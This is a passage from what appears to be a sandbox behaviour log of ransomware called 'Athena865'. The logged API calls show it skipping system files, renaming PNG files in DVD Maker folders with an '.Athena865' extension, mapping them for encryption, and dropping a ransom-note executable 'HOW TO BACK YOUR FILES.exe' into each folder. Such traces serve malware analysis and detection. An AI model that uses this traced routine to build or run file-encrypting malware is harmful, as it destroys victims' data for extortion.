returned 1 [0119.717] lstrlenW (lpString=".dll") returned 4 [0119.717] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".dll") returned 1 [0119.717] lstrlenW (lpString=".lnk") returned 4 [0119.717] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".lnk") returned 1 [0119.717] lstrlenW (lpString=".ini") returned 4 [0119.717] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".ini") returned 1 [0119.717] lstrlenW (lpString=".sys") returned 4 [0119.717] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".sys") returned 1 [0119.717] lstrlenW (lpString="NavigationRight_SelectionSubpicture.png") returned 39 [0119.717] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png.Athena865") returned 93 [0119.717] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png.athena865"), dwFlags=0x1) returned 1 [0119.722] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0119.722] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3118) returned 1 [0119.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0119.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.722] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.723] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.723] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.723] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf30, lpName=0x0) returned 0x17c [0119.724] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf30) returned 0x100000 [0119.725] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.726] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.726] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0119.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0119.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.727] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.727] CloseHandle (hObject=0x17c) returned 1 [0119.727] CloseHandle (hObject=0x154) returned 1 [0119.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0119.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.727] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0119.727] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.727] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.727] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".") returned 1 [0119.727] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="..") returned 1 [0119.727] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="windows") returned -1 [0119.727] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0119.727] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="temp") returned -1 [0119.727] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="pagefile.sys") returned -1 [0119.727] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot") returned 1 [0119.727] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ids.txt") returned 1 [0119.728] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0119.728] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="perflogs") returned -1 [0119.728] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="MSBuild") returned 1 [0119.728] lstrlenW (lpString="NavigationUp_ButtonGraphic.png") returned 30 [0119.728] lstrcpyW (in: lpString1=0x241e8a0, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png" [0119.728] lstrlenW (lpString="NavigationUp_ButtonGraphic.png") returned 30 [0119.728] lstrlenW (lpString="Athena865") returned 9 [0119.728] lstrcmpiW (lpString1="aphic.png", lpString2="Athena865") returned -1 [0119.728] lstrlenW (lpString=".dll") returned 4 [0119.728] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".dll") returned 1 [0119.728] lstrlenW (lpString=".lnk") returned 4 [0119.728] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".lnk") returned 1 [0119.728] lstrlenW (lpString=".ini") returned 4 [0119.728] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".ini") returned 1 [0119.728] lstrlenW (lpString=".sys") returned 4 [0119.728] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".sys") returned 1 [0119.728] lstrlenW (lpString="NavigationUp_ButtonGraphic.png") returned 30 [0119.728] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png.Athena865") returned 84 [0119.728] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png.athena865"), dwFlags=0x1) returned 1 [0119.730] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0119.730] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4955) returned 1 [0119.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0119.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.730] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.731] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.731] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.731] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1660, lpName=0x0) returned 0x17c [0119.732] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1660) returned 0x100000 [0119.733] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.734] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.734] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.734] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0119.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0119.734] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.734] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.734] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.734] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.735] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.735] CloseHandle (hObject=0x17c) returned 1 [0119.735] CloseHandle (hObject=0x154) returned 1 [0119.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0119.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.735] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0119.735] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.735] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.736] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".") returned 1 [0119.736] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="..") returned 1 [0119.736] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="windows") returned -1 [0119.736] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0119.736] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="temp") returned -1 [0119.736] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="pagefile.sys") returned -1 [0119.736] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot") returned 1 [0119.736] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ids.txt") returned 1 [0119.736] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0119.736] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="perflogs") returned -1 [0119.736] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="MSBuild") returned 1 [0119.736] lstrlenW (lpString="NavigationUp_SelectionSubpicture.png") returned 36 [0119.736] lstrcpyW (in: lpString1=0x241e8a0, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png" [0119.736] lstrlenW (lpString="NavigationUp_SelectionSubpicture.png") returned 36 [0119.736] lstrlenW (lpString="Athena865") returned 9 [0119.736] lstrcmpiW (lpString1="cture.png", lpString2="Athena865") returned 1 [0119.736] lstrlenW (lpString=".dll") returned 4 [0119.736] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".dll") returned 1 [0119.736] lstrlenW (lpString=".lnk") returned 4 [0119.736] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".lnk") returned 1 [0119.736] lstrlenW (lpString=".ini") returned 4 [0119.736] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".ini") returned 1 [0119.736] lstrlenW (lpString=".sys") returned 4 [0119.736] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".sys") returned 1 [0119.736] lstrlenW (lpString="NavigationUp_SelectionSubpicture.png") returned 36 [0119.736] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png.Athena865") returned 90 [0119.736] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png.athena865"), dwFlags=0x1) returned 1 [0119.738] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0119.738] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3081) returned 1 [0119.738] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.738] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0119.738] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.738] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.739] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.739] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.739] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf10, lpName=0x0) returned 0x17c [0119.741] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf10) returned 0x100000 [0119.741] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.742] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.742] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0119.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0119.743] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.743] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.743] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.743] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.743] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.743] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.743] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.743] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.743] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.743] CloseHandle (hObject=0x17c) returned 1 [0119.743] CloseHandle (hObject=0x154) returned 1 [0119.743] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0119.743] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.743] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.744] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OldAge", cAlternateFileName="")) returned 1 [0119.744] lstrcmpiW (lpString1="OldAge", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.744] lstrcmpiW (lpString1="OldAge", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.744] lstrcmpiW (lpString1="OldAge", lpString2=".") returned 1 [0119.744] lstrcmpiW (lpString1="OldAge", lpString2="..") returned 1 [0119.744] lstrcmpiW (lpString1="OldAge", lpString2="windows") returned -1 [0119.744] lstrcmpiW (lpString1="OldAge", lpString2="bootmgr") returned 1 [0119.744] lstrcmpiW (lpString1="OldAge", lpString2="temp") returned -1 [0119.744] lstrcmpiW (lpString1="OldAge", lpString2="pagefile.sys") returned -1 [0119.744] lstrcmpiW (lpString1="OldAge", lpString2="boot") returned 1 [0119.744] lstrcmpiW (lpString1="OldAge", lpString2="ids.txt") returned 1 [0119.744] lstrcmpiW (lpString1="OldAge", lpString2="ntuser.dat") returned 1 [0119.744] lstrcmpiW (lpString1="OldAge", lpString2="perflogs") returned -1 [0119.744] lstrcmpiW (lpString1="OldAge", lpString2="MSBuild") returned 1 [0119.744] lstrlenW (lpString="OldAge") returned 6 [0119.744] lstrcpyW (in: lpString1=0x241e8a0, lpString2="OldAge" | out: lpString1="OldAge") returned="OldAge" [0119.744] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52aed0 [0119.744] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x66) returned 0x52e120 [0119.744] lstrcatW (in: lpString1="OldAge", lpString2="\\" | out: lpString1="OldAge\\") returned="OldAge\\" [0119.744] lstrcatW (in: lpString1="OldAge\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="OldAge\\HOW TO BACK YOUR FILES.exe") returned="OldAge\\HOW TO BACK YOUR FILES.exe" [0119.744] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\how to back your files.exe"), bFailIfExists=1) returned 1 [0119.748] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="PERFOR~1")) returned 1 [0119.748] lstrcmpiW (lpString1="Performance", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.748] lstrcmpiW (lpString1="Performance", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.748] lstrcmpiW (lpString1="Performance", lpString2=".") returned 1 [0119.748] lstrcmpiW (lpString1="Performance", lpString2="..") returned 1 [0119.748] lstrcmpiW (lpString1="Performance", lpString2="windows") returned -1 [0119.748] lstrcmpiW (lpString1="Performance", lpString2="bootmgr") returned 1 [0119.748] lstrcmpiW (lpString1="Performance", lpString2="temp") returned -1 [0119.748] lstrcmpiW (lpString1="Performance", lpString2="pagefile.sys") returned 1 [0119.748] lstrcmpiW (lpString1="Performance", lpString2="boot") returned 1 [0119.748] lstrcmpiW (lpString1="Performance", lpString2="ids.txt") returned 1 [0119.748] lstrcmpiW (lpString1="Performance", lpString2="ntuser.dat") returned 1 [0119.748] lstrcmpiW (lpString1="Performance", lpString2="perflogs") returned 1 [0119.748] lstrcmpiW (lpString1="Performance", lpString2="MSBuild") returned 1 [0119.749] lstrlenW (lpString="Performance") returned 11 [0119.749] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Performance" | out: lpString1="Performance") returned="Performance" [0119.749] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x552158 [0119.749] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x70) returned 0x538e88 [0119.749] lstrcatW (in: lpString1="Performance", lpString2="\\" | out: lpString1="Performance\\") returned="Performance\\" [0119.749] lstrcatW (in: lpString1="Performance\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Performance\\HOW TO BACK YOUR FILES.exe") returned="Performance\\HOW TO BACK YOUR FILES.exe" [0119.749] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\how to back your files.exe"), bFailIfExists=1) returned 1 [0119.753] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pets", cAlternateFileName="")) returned 1 [0119.753] lstrcmpiW (lpString1="Pets", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.753] lstrcmpiW (lpString1="Pets", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.753] lstrcmpiW (lpString1="Pets", lpString2=".") returned 1 [0119.753] lstrcmpiW (lpString1="Pets", lpString2="..") returned 1 [0119.753] lstrcmpiW (lpString1="Pets", lpString2="windows") returned -1 [0119.753] lstrcmpiW (lpString1="Pets", lpString2="bootmgr") returned 1 [0119.753] lstrcmpiW (lpString1="Pets", lpString2="temp") returned -1 [0119.753] lstrcmpiW (lpString1="Pets", lpString2="pagefile.sys") returned 1 [0119.753] lstrcmpiW (lpString1="Pets", lpString2="boot") returned 1 [0119.753] lstrcmpiW (lpString1="Pets", lpString2="ids.txt") returned 1 [0119.753] lstrcmpiW (lpString1="Pets", lpString2="ntuser.dat") returned 1 [0119.753] lstrcmpiW (lpString1="Pets", lpString2="perflogs") returned 1 [0119.753] lstrcmpiW (lpString1="Pets", lpString2="MSBuild") returned 1 [0119.753] lstrlenW (lpString="Pets") returned 4 [0119.753] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Pets" | out: lpString1="Pets") returned="Pets" [0119.753] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x552170 [0119.753] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x52e190 [0119.753] lstrcatW (in: lpString1="Pets", lpString2="\\" | out: lpString1="Pets\\") returned="Pets\\" [0119.753] lstrcatW (in: lpString1="Pets\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Pets\\HOW TO BACK YOUR FILES.exe") returned="Pets\\HOW TO BACK YOUR FILES.exe" [0119.753] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\how to back your files.exe"), bFailIfExists=1) returned 1 [0119.757] 